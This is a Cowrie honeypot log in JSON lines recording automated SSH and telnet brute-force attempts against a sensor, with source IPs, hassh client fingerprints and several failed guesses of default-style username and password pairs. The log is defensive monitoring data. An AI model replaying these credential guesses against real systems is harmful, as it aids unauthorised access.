{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:43.319521Z","src_ip":"135.235.138.43","session":"210b9bbef5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:43.502715Z","src_ip":"135.235.138.43","session":"210b9bbef5a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ!@","message":"login attempt [root/!QAZ!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:44.267586Z","src_ip":"135.235.138.43","session":"210b9bbef5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":59940,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0afacfd7176","protocol":"ssh","message":"New connection: 40.78.155.180:59940 (10.17.0.5:22) [session: e0afacfd7176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:44.543884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:44.548658Z","src_ip":"40.78.155.180","session":"e0afacfd7176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:44.586097Z","src_ip":"40.78.155.180","session":"e0afacfd7176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wood","message":"login attempt [root/wood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:44.773099Z","src_ip":"40.78.155.180","session":"e0afacfd7176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:45.453269Z","src_ip":"135.235.138.43","session":"210b9bbef5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:45.816529Z","src_ip":"40.78.155.180","session":"e0afacfd7176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00828456878662,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:53.605321Z","src_ip":"89.243.29.180","session":"c59c4c0c51a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":46038,"dst_ip":"159.203.135.109","dst_port":22,"session":"b875b3764710","protocol":"ssh","message":"New connection: 80.94.92.171:46038 (159.203.135.109:22) [session: b875b3764710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:54.979555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:55.097999Z","src_ip":"80.94.92.171","session":"b875b3764710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:55.198032Z","src_ip":"80.94.92.171","session":"b875b3764710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:56.523168Z","src_ip":"80.94.92.171","session":"b875b3764710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:57.755008Z","src_ip":"80.94.92.171","session":"b875b3764710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":52446,"dst_ip":"159.203.135.109","dst_port":22,"session":"f80cf114ee4f","protocol":"ssh","message":"New connection: 160.22.18.220:52446 (159.203.135.109:22) [session: f80cf114ee4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:59.988620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:59.993357Z","src_ip":"160.22.18.220","session":"f80cf114ee4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:00.240622Z","src_ip":"160.22.18.220","session":"f80cf114ee4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123321","message":"login attempt [root/abc123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:01.272361Z","src_ip":"160.22.18.220","session":"f80cf114ee4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:02.529828Z","src_ip":"160.22.18.220","session":"f80cf114ee4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":38240,"dst_ip":"10.17.0.5","dst_port":23,"session":"dab5e060f3c2","protocol":"telnet","message":"New connection: 89.243.29.180:38240 (10.17.0.5:23) [session: dab5e060f3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:05.160355Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":45678,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eaf03ffbec3","protocol":"ssh","message":"New connection: 177.234.174.18:45678 (10.17.0.5:22) [session: 9eaf03ffbec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:14.447746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:14.453219Z","src_ip":"177.234.174.18","session":"9eaf03ffbec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:14.600237Z","src_ip":"177.234.174.18","session":"9eaf03ffbec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"134679","message":"login attempt [root/134679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:15.214986Z","src_ip":"177.234.174.18","session":"9eaf03ffbec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:16.363898Z","src_ip":"177.234.174.18","session":"9eaf03ffbec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":48488,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f8354e64cec","protocol":"ssh","message":"New connection: 43.156.212.86:48488 (10.17.0.5:22) [session: 8f8354e64cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:18.665728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:18.670571Z","src_ip":"43.156.212.86","session":"8f8354e64cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:18.908595Z","src_ip":"43.156.212.86","session":"8f8354e64cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:19.894058Z","src_ip":"43.156.212.86","session":"8f8354e64cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:16:21.134960Z","src_ip":"43.156.212.86","session":"8f8354e64cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":40992,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd5e4e344ac1","protocol":"ssh","message":"New connection: 152.32.172.177:40992 (10.17.0.5:22) [session: dd5e4e344ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:04.532271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:04.537111Z","src_ip":"152.32.172.177","session":"dd5e4e344ac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:04.754186Z","src_ip":"152.32.172.177","session":"dd5e4e344ac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":44854,"dst_ip":"10.17.0.5","dst_port":22,"session":"6677e4fc12d6","protocol":"ssh","message":"New connection: 40.78.155.180:44854 (10.17.0.5:22) [session: 6677e4fc12d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:05.092597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:05.098773Z","src_ip":"40.78.155.180","session":"6677e4fc12d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:05.137814Z","src_ip":"40.78.155.180","session":"6677e4fc12d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:05.325051Z","src_ip":"40.78.155.180","session":"6677e4fc12d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234ABCD","message":"login attempt [root/1234ABCD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:05.652961Z","src_ip":"152.32.172.177","session":"dd5e4e344ac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:06.366511Z","src_ip":"40.78.155.180","session":"6677e4fc12d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:06.871979Z","src_ip":"152.32.172.177","session":"dd5e4e344ac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.248.59.218","src_port":47117,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6913a5ff2c9","protocol":"telnet","message":"New connection: 43.248.59.218:47117 (159.203.135.109:23) [session: b6913a5ff2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:10.726537Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":43516,"dst_ip":"159.203.135.109","dst_port":22,"session":"078855be7acb","protocol":"ssh","message":"New connection: 135.235.138.43:43516 (159.203.135.109:22) [session: 078855be7acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:25.651604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:25.657340Z","src_ip":"135.235.138.43","session":"078855be7acb","protocol":"ssh"}
